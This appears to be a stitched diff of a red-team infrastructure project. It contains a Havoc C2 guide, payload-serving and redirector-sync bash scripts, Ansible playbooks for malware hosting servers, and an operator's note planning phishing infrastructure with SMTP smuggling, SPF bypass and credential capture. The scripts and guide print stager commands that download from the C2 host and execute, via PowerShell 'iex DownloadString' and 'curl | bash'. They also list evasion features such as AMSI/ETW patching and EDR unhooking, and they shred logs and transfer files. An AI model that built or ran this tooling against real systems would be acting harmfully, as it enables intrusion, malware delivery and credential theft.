|
||||
-----------------
|
||||
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
|
||||
|
||||
To generate new payloads:
|
||||
1. Connect to the Teamserver
|
||||
2. Navigate to Attack → Payload
|
||||
3. Select the listener (HTTPS recommended)
|
||||
4. Choose architecture, format, and evasion options
|
||||
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
|
||||
|
||||
PAYLOAD DELIVERY
|
||||
--------------
|
||||
PowerShell one-liner:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||
|
||||
Linux one-liner:
|
||||
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
||||
|
||||
OPERATIONAL SECURITY
|
||||
------------------
|
||||
- All connections are routed through the redirector
|
||||
- Payload customization includes:
|
||||
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
|
||||
* EDR unhooking techniques
|
||||
* AMSI/ETW patching
|
||||
* Indirect syscalls
|
||||
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
|
||||
|
||||
ADVANCED FEATURES (DEV BRANCH)
|
||||
----------------------------
|
||||
- Enhanced memory scanner evasion
|
||||
- PPID spoofing capabilities
|
||||
- Reflective DLL loading improvements
|
||||
- EDR hook detection and avoidance
|
||||
- Process token manipulation
|
||||
- Registry persistence options
|
||||
|
||||
POST-EXPLOITATION
|
||||
---------------
|
||||
For post-exploitation, Havoc offers:
|
||||
|
||||
1. BOF (Beacon Object Files) support
|
||||
2. Integrated command & control modules
|
||||
3. File system operations
|
||||
4. Process injection & manipulation
|
||||
5. Credential gathering capabilities
|
||||
|
||||
SERVER MANAGEMENT
|
||||
---------------
|
||||
- Havoc Teamserver service: systemctl status havoc
|
||||
- Service configuration: /etc/systemd/system/havoc.service
|
||||
- Configuration profiles: /root/Tools/Havoc/data/profiles/
|
||||
|
||||
TROUBLESHOOTING
|
||||
--------------
|
||||
1. Agent connection issues:
|
||||
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||
- Check nginx configuration on the redirector
|
||||
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
|
||||
|
||||
2. Teamserver issues:
|
||||
- Check service: systemctl status havoc
|
||||
- View logs: journalctl -u havoc
|
||||
- Restart if needed: systemctl restart havoc
|
||||
|
||||
3. Use Havoc client CLI debugging:
|
||||
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
|
||||
@@ -0,0 +1,135 @@
|
||||
#!/bin/bash
|
||||
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
|
||||
|
||||
# Configuration
|
||||
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
# Use templated variable with fallback - allow override from config
|
||||
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
|
||||
|
||||
# Check if manifest file exists (created by generate_havoc_payloads.sh)
|
||||
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
|
||||
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
|
||||
# Extract payload paths from manifest
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
|
||||
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
|
||||
|
||||
# Print payload info
|
||||
echo "[+] Using these Havoc payloads:"
|
||||
echo " - Windows EXE: $WIN_EXE"
|
||||
echo " - Windows DLL: $WIN_DLL"
|
||||
echo " - Linux Binary: $LINUX_BIN"
|
||||
else
|
||||
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
|
||||
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
|
||||
|
||||
# Try to find payloads directly
|
||||
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
||||
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
||||
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
||||
|
||||
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
||||
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Extract just the filenames
|
||||
WIN_EXE=$(basename "$WIN_EXE")
|
||||
WIN_DLL=$(basename "$WIN_DLL")
|
||||
LINUX_BIN=$(basename "$LINUX_BIN")
|
||||
fi
|
||||
|
||||
# Create temporary directory for web server
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
mkdir -p $TEMP_DIR/content/windows
|
||||
mkdir -p $TEMP_DIR/content/linux
|
||||
mkdir -p $TEMP_DIR/scripts
|
||||
|
||||
# Copy payloads to web directory
|
||||
if [ -n "$WIN_EXE" ]; then
|
||||
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows EXE: $WIN_EXE"
|
||||
fi
|
||||
|
||||
if [ -n "$WIN_DLL" ]; then
|
||||
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows DLL: $WIN_DLL"
|
||||
fi
|
||||
|
||||
if [ -n "$LINUX_BIN" ]; then
|
||||
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
||||
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
||||
fi
|
||||
|
||||
# Copy stagers if they exist
|
||||
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
||||
echo "[+] Serving Windows PowerShell stager"
|
||||
fi
|
||||
|
||||
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
||||
echo "[+] Serving Linux bash stager"
|
||||
fi
|
||||
|
||||
# Create helpful index page
|
||||
cat > $TEMP_DIR/index.html << EOL
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Havoc C2 Payload Downloads</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
||||
.warning { color: #a00; font-weight: bold; }
|
||||
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Havoc C2 Payload Downloads</h1>
|
||||
<div class="section">
|
||||
<h2>Available Payloads</h2>
|
||||
<ul>
|
||||
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
||||
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
||||
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Auto-Download Scripts</h2>
|
||||
<ul>
|
||||
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
||||
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Quick Commands</h2>
|
||||
<p>Windows PowerShell:</p>
|
||||
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
||||
<p>Linux Bash:</p>
|
||||
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOL
|
||||
|
||||
# Start Python HTTP server in background
|
||||
cd $TEMP_DIR
|
||||
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
||||
SERVER_PID=$!
|
||||
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
||||
|
||||
# Print useful information for the operator
|
||||
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
||||
echo "[+] Available payloads:"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
||||
echo ""
|
||||
echo "[+] Quick PowerShell download command:"
|
||||
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
||||
echo ""
|
||||
echo "[+] Quick Linux download command:"
|
||||
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
|
||||
@@ -0,0 +1,150 @@
|
||||
#!/bin/bash
|
||||
# secure_payload_sync.sh - OPSEC-focused payload distribution
|
||||
|
||||
# Configuration
|
||||
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
|
||||
REDIRECTOR_IP="{{ redirector_ip }}"
|
||||
REDIRECTOR_USER="root"
|
||||
SSH_KEY_PATH="/root/.ssh/id_ed25519"
|
||||
REMOTE_PAYLOAD_DIR="/var/www/resources"
|
||||
ENCRYPTED_TRANSFER=true
|
||||
LOG_FILE="/root/Tools/logs/payload_sync.log"
|
||||
LOG_RETENTION_DAYS=3
|
||||
MAX_RANDOM_DELAY=300 # Max random delay in seconds
|
||||
|
||||
# Create minimal timestamped log with auto-rotation
|
||||
log() {
|
||||
mkdir -p $(dirname $LOG_FILE)
|
||||
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
|
||||
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
|
||||
}
|
||||
|
||||
# Add random delay for OPSEC
|
||||
sleep_random() {
|
||||
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
|
||||
log "Adding random delay of $DELAY seconds"
|
||||
sleep $DELAY
|
||||
}
|
||||
|
||||
# Generate payload manifest and check for changes
|
||||
check_for_changes() {
|
||||
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
|
||||
log "ERROR: Payload directory not found"
|
||||
return 1
|
||||
fi
|
||||
|
||||
TMP_DIR=$(mktemp -d)
|
||||
MANIFEST_FILE="$TMP_DIR/manifest"
|
||||
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
|
||||
|
||||
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
|
||||
HASH_FILE="/root/Tools/.payload_hash"
|
||||
|
||||
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
|
||||
log "No payload changes detected"
|
||||
secure_delete $TMP_DIR
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo $CURRENT_HASH > $HASH_FILE
|
||||
return 0
|
||||
}
|
||||
|
||||
# Secure deletion of files/directories
|
||||
secure_delete() {
|
||||
if [ -d "$1" ]; then
|
||||
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
|
||||
rm -rf "$1" 2>/dev/null
|
||||
elif [ -f "$1" ]; then
|
||||
shred -n 3 -z -u "$1" 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
# Encrypt archive with random password
|
||||
encrypt_archive() {
|
||||
SRC="$1"
|
||||
DEST="$2"
|
||||
|
||||
# Generate random password
|
||||
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
|
||||
PASS_FILE=$(mktemp)
|
||||
echo $PASSWORD > $PASS_FILE
|
||||
|
||||
# Encrypt the archive
|
||||
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
|
||||
|
||||
# Store password temporarily for transfer
|
||||
echo $PASSWORD
|
||||
|
||||
# Securely delete password file
|
||||
secure_delete $PASS_FILE
|
||||
}
|
||||
|
||||
# Main execution
|
||||
main() {
|
||||
log "Starting secure payload sync"
|
||||
|
||||
# Add randomized timing
|
||||
sleep_random
|
||||
|
||||
# Check for payload changes
|
||||
check_for_changes || exit 0
|
||||
|
||||
# Generate random archive name for OPSEC
|
||||
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
|
||||
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
|
||||
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Create payload archive
|
||||
log "Creating payload archive"
|
||||
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
|
||||
|
||||
# Encrypt archive if enabled
|
||||
PASSWORD=""
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
log "Encrypting payload archive"
|
||||
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
|
||||
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
|
||||
else
|
||||
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
|
||||
fi
|
||||
|
||||
# Transfer archive to redirector
|
||||
log "Transferring payloads to redirector"
|
||||
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
|
||||
|
||||
# Handle remote extraction with decryption if needed
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
TEMP_DIR=\$(mktemp -d)
|
||||
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
|
||||
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
|
||||
# Clean up
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
|
||||
rm -rf \$TEMP_DIR
|
||||
# Update web server if needed
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
else
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
fi
|
||||
|
||||
# Execute command on redirector
|
||||
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
|
||||
|
||||
# Clean up local temp files
|
||||
log "Cleaning up temporary files"
|
||||
secure_delete $TEMP_DIR
|
||||
|
||||
log "Payload sync completed successfully"
|
||||
}
|
||||
|
||||
# Run main function
|
||||
main
|
||||
@@ -0,0 +1,24 @@
|
||||
---
|
||||
# Payload Redirector Deployment Playbook
|
||||
- name: Deploy payload redirector
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
|
||||
provider: "{{ provider | default('aws') }}"
|
||||
|
||||
tasks:
|
||||
- name: Deploy payload redirector based on provider
|
||||
include_tasks: "../{{ provider | upper }}/redirector.yml"
|
||||
vars:
|
||||
redirector_name: "{{ payload_redirector_name }}"
|
||||
redirector_type: "payload"
|
||||
redirector_subdomain: "{{ payload_subdomain | default('files') }}"
|
||||
|
||||
- name: Configure payload redirector
|
||||
include_tasks: "../tasks/configure_payload_redirector.yml"
|
||||
when: not skip_configuration | default(false)
|
||||
@@ -0,0 +1,23 @@
|
||||
---
|
||||
# Payload Server Deployment Playbook
|
||||
- name: Deploy payload server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
|
||||
provider: "{{ provider | default('aws') }}"
|
||||
|
||||
tasks:
|
||||
- name: Deploy payload server based on provider
|
||||
include_tasks: "../{{ provider | upper }}/c2.yml"
|
||||
vars:
|
||||
c2_name: "{{ payload_server_name }}"
|
||||
server_type: "payload"
|
||||
|
||||
- name: Configure payload server
|
||||
include_tasks: "../tasks/configure_payload_server.yml"
|
||||
when: not skip_configuration | default(false)
|
||||
@@ -0,0 +1,89 @@
|
||||
---
|
||||
# Configure payload redirector for hosting and delivering payloads
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create payload directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- /var/www/payloads
|
||||
- /var/www/payloads/windows
|
||||
- /var/www/payloads/linux
|
||||
- /var/www/payloads/macos
|
||||
- /var/www/payloads/docs
|
||||
|
||||
- name: Configure NGINX for payload delivery
|
||||
template:
|
||||
src: "../templates/phishing/nginx-payload-redirector.j2"
|
||||
dest: /etc/nginx/sites-available/payloads
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable payload site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/payloads
|
||||
dest: /etc/nginx/sites-enabled/payloads
|
||||
state: link
|
||||
|
||||
- name: Create payload sync script
|
||||
template:
|
||||
src: "../templates/phishing/sync_payloads.sh.j2"
|
||||
dest: /root/Tools/sync_payloads.sh
|
||||
mode: '0700'
|
||||
|
||||
- name: Set up payload sync timer
|
||||
block:
|
||||
- name: Create systemd service
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Payload Sync Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/root/Tools/sync_payloads.sh
|
||||
User=root
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
dest: /etc/systemd/system/payload-sync.service
|
||||
|
||||
- name: Create systemd timer
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Payload Sync Timer
|
||||
Requires=payload-sync.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=15min
|
||||
Persistent=true
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
dest: /etc/systemd/system/payload-sync.timer
|
||||
|
||||
- name: Enable and start timer
|
||||
systemd:
|
||||
name: payload-sync.timer
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Configure firewall rules
|
||||
include_tasks: security_hardening.yml
|
||||
vars:
|
||||
server_role: "payload_redirector"
|
||||
@@ -0,0 +1,78 @@
|
||||
---
|
||||
# Configure payload server for creating and hosting malicious payloads
|
||||
|
||||
- name: Install payload generation tools
|
||||
apt:
|
||||
name:
|
||||
- mingw-w64
|
||||
- golang
|
||||
- python3-pip
|
||||
- upx-ucl
|
||||
- osslsigncode
|
||||
- mono-complete
|
||||
- wine64
|
||||
- wine32
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create payload directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
loop:
|
||||
- /root/Tools/payloads
|
||||
- /root/Tools/payloads/templates
|
||||
- /root/Tools/payloads/output
|
||||
- /root/Tools/payloads/scripts
|
||||
|
||||
- name: Install Python payload tools
|
||||
pip:
|
||||
name:
|
||||
- pycryptodome
|
||||
- pyinstaller
|
||||
- py2exe
|
||||
state: present
|
||||
|
||||
- name: Clone payload generation tools
|
||||
git:
|
||||
repo: "{{ item.repo }}"
|
||||
dest: "{{ item.dest }}"
|
||||
loop:
|
||||
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
|
||||
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
|
||||
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
|
||||
|
||||
- name: Build Go tools
|
||||
shell: |
|
||||
cd {{ item }} && go build
|
||||
args:
|
||||
creates: "{{ item }}/{{ item | basename }}"
|
||||
loop:
|
||||
- /root/Tools/go-donut
|
||||
- /root/Tools/ScareCrow
|
||||
|
||||
- name: Deploy payload generation scripts
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0700'
|
||||
loop:
|
||||
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
|
||||
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
|
||||
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
|
||||
|
||||
- name: Create payload hosting service
|
||||
template:
|
||||
src: "../templates/phishing/payload-server.service.j2"
|
||||
dest: /etc/systemd/system/payload-server.service
|
||||
mode: '0644'
|
||||
|
||||
- name: Start payload server
|
||||
systemd:
|
||||
name: payload-server
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
@@ -0,0 +1,127 @@
|
||||
phishing/
|
||||
├── deploy_phishing_infrastructure.yml *Created
|
||||
├── mta_front.yml *Created
|
||||
├── gophish_server.yml *Created
|
||||
├── phishing_redirector.yml *Created
|
||||
├── phishing_webserver.yml *Created
|
||||
├── payload_redirector.yml
|
||||
├── payload_server.yml
|
||||
└── cleanup_phishing.yml
|
||||
|
||||
tasks/
|
||||
├── configure_mta_front.yml *Created
|
||||
├── configure_gophish_advanced.yml *Created
|
||||
├── configure_phishing_redirector.yml *Created
|
||||
├── configure_phishing_webserver.yml
|
||||
├── configure_payload_redirector.yml
|
||||
├── configure_payload_server.yml
|
||||
└── setup_phishing_security.yml *Created
|
||||
|
||||
templates/
|
||||
├── phishing/
|
||||
│ ├── gophish-advanced-config.j2
|
||||
│ ├── postfix-mta-front.j2
|
||||
│ ├── nginx-phishing-redirector.j2
|
||||
│ ├── nginx-payload-redirector.j2
|
||||
│ ├── phishing-landing-page.j2
|
||||
│ ├── email-templates/
|
||||
│ │ ├── office365_login.j2 *Created
|
||||
│ │ ├── password_expiry.j2
|
||||
│ │ ├── security_alert.j2
|
||||
│ │ └── file_share.j2
|
||||
│ └── fedramp-compliance.j2
|
||||
└── phishing_deployment_state.j2
|
||||
|
||||
I am looking to beef up my phishing portion of my tooland I want to make a stand alone option as well. I will be preforming both red team phishing engagements and fed ramp engagements. So the red team ones need to be more advanced and sophesticated with advanced evasion techniques etc like
|
||||
SMTP smuggling aged domains MTA fronting Cloud service payload hosting CDN exploitation LOtL techniques SPF bypass methods File format manipulation
|
||||
This will require more than one server
|
||||
For fedramp style engagements I am not testing email security controls but only the users and I need to follow the strict guideline
|
||||
The intent is to test user compliance, not email security. Emails should be allow-listed on all security systems and be presented to the user unflagged, unmodified, and unaltered in any way. 3PAOs will provide or approve email templates and landing pages used in testing. 3PAOs must either perform this attack vector themselves, or independently evaluate the effectiveness of a third party phishing campaign. Landing pages for CSP personnel who are victims of the phishing attack should immediately identify that the email was a phish, and provide supplemental information on how to identify phishing attacks in the future. The email campaign will consist of the following:
|
||||
Email with username in body, Link to landing page, Ability to capture emails opened (hidden pixel), Landing page, Ability to tie landing page visits by user, Username and password capture, Ability to track user submission. FedRAMP requires that the 3PAO report back roles and/or metrics but not specific names. Lets keep with making this CSP agnostic as much as possible so AWS and linode can be used and other CSP as they are added to the framework. I would like everything to be as indepentent as possible so its all not running in one huge file or script and can be easily found and worked on and called to build stand alone servers or add to an existing server etc
|
||||
|
||||
For red team engagements I want to be able to deploy my whole red team infra or exactly what I need like just a c2, redirector, payload server, phishing server, Domain fronting server or just payload server, phishing server, Domain fronting server etc. I want an option for red team phishing which deploys
|
||||
|
||||
Below are deployment profiles
|
||||
|
||||
Profile Name: Full Red Team Infra (All the Things)
|
||||
|
||||
Servers:
|
||||
|
||||
MTA Front | SMTP relay hides email backend
|
||||
|
||||
Gophish Email Server | Phishing campaign controller (hidden)
|
||||
|
||||
Phishing Redirector (CDN) | Hides phishing web server behind CDN
|
||||
|
||||
Phishing Web Server | Credential capture backend
|
||||
|
||||
Payload Redirector (CDN) | Hides malware delivery server behind CDN
|
||||
|
||||
Payload Server | Malware hosting backend
|
||||
|
||||
C2 Redirector (CDN) | Hides Havoc/Cobalt backend behind CDN
|
||||
|
||||
C2 Backend | Command & control server (hidden)
|
||||
|
||||
Profile Name: Full Red Team Infra (No CDN Abuse)
|
||||
|
||||
Servers:
|
||||
|
||||
MTA Front | SMTP relay hides email backend
|
||||
|
||||
Gophish Email Server | Phishing campaign controller (hidden)
|
||||
|
||||
Phishing Redirector (VPS) | Nginx/socat hides phishing web server
|
||||
|
||||
Phishing Web Server | Credential capture backend
|
||||
|
||||
Payload Redirector (VPS) | Nginx/socat hides malware delivery server
|
||||
|
||||
Payload Server | Malware hosting backend
|
||||
|
||||
C2 Redirector (VPS) | Nginx/socat hides C2 backend
|
||||
|
||||
C2 Backend | Command & control server (hidden)
|
||||
|
||||
Profile Name: Phishing Infra (Credential Harvesting Only)
|
||||
|
||||
Servers:
|
||||
|
||||
MTA Front (optional) | SMTP relay hides email backend (optional)
|
||||
|
||||
Gophish Email Server | Phishing campaign controller
|
||||
|
||||
Phishing Redirector (CDN or VPS) | Hides phishing web server
|
||||
|
||||
Phishing Web Server | Credential capture backend
|
||||
|
||||
Profile Name: Phishing Infra (Credential Harvesting Only, No CDN)
|
||||
|
||||
Servers:
|
||||
|
||||
MTA Front (optional) | SMTP relay hides email backend (optional)
|
||||
|
||||
Gophish Email Server | Phishing campaign controller
|
||||
|
||||
Phishing Redirector (VPS) | Nginx/socat hides phishing web server
|
||||
|
||||
Phishing Web Server | Credential capture backend
|
||||
|
||||
Profile Name: Whitelisted Phishing Infra (User Awareness Testing)
|
||||
|
||||
Servers:
|
||||
|
||||
Gophish Email Server | Sends phishing campaigns directly
|
||||
|
||||
Phishing Web Server | Fake login or failure landing page
|
||||
|
||||
this needs to also set up firewall rules or security groups to ensure least privilege. I need only the MTA fronting or redirectors accessible to anyone. The main phishing server should only allow the operator to connect and then the main phishing server should be able to access the MTA, Webserver and payload server etc. We need to ensure that things are fully secure. This should be added to the main menu under the phishing server option 9 with sub menus for the different deployment options. This needs to be deployable in any provider so make as much of it provider agnositic. use existing playbooks if it make sense like security hardening etc. I also want this to have the tracker setup as well on any deployment. Make sure to consider the way the tool is built. I want minimal stuff in the deploy.py. As much as possible should be handled with tasks templates and scripts
|
||||
|
||||
|
||||
NOTES:
|
||||
|
||||
- I think I need to remove all the security group stuff to the security_hardening yaml
|
||||
- I dont think I need a tracker on the webserver yaml
|
||||
- setup_phishing_security.yml seems redundant and AWS only focused
|
||||
-
|
||||
-
|
||||
@@ -0,0 +1,59 @@
|
||||
---
|
||||
# Phishing Infrastructure Cleanup Playbook
|
||||
- name: Clean up phishing infrastructure
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
|
||||
|
||||
tasks:
|
||||
- name: Load deployment state
|
||||
include_vars:
|
||||
file: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||
register: deployment_state
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Show cleanup information
|
||||
debug:
|
||||
msg: |
|
||||
************************************************
|
||||
* PHISHING CLEANUP OPERATION *
|
||||
************************************************
|
||||
The following resources will be DELETED PERMANENTLY:
|
||||
- MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
|
||||
- GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
|
||||
- Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
|
||||
- Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
|
||||
{% if cleanup_payload_infra | default(false) %}
|
||||
- Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
|
||||
- Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
|
||||
{% endif %}
|
||||
when: confirm_cleanup | bool
|
||||
|
||||
- name: Confirm cleanup operation
|
||||
pause:
|
||||
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
|
||||
register: confirmation
|
||||
when: confirm_cleanup | bool
|
||||
|
||||
- name: Skip cleanup if not confirmed
|
||||
meta: end_play
|
||||
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
|
||||
|
||||
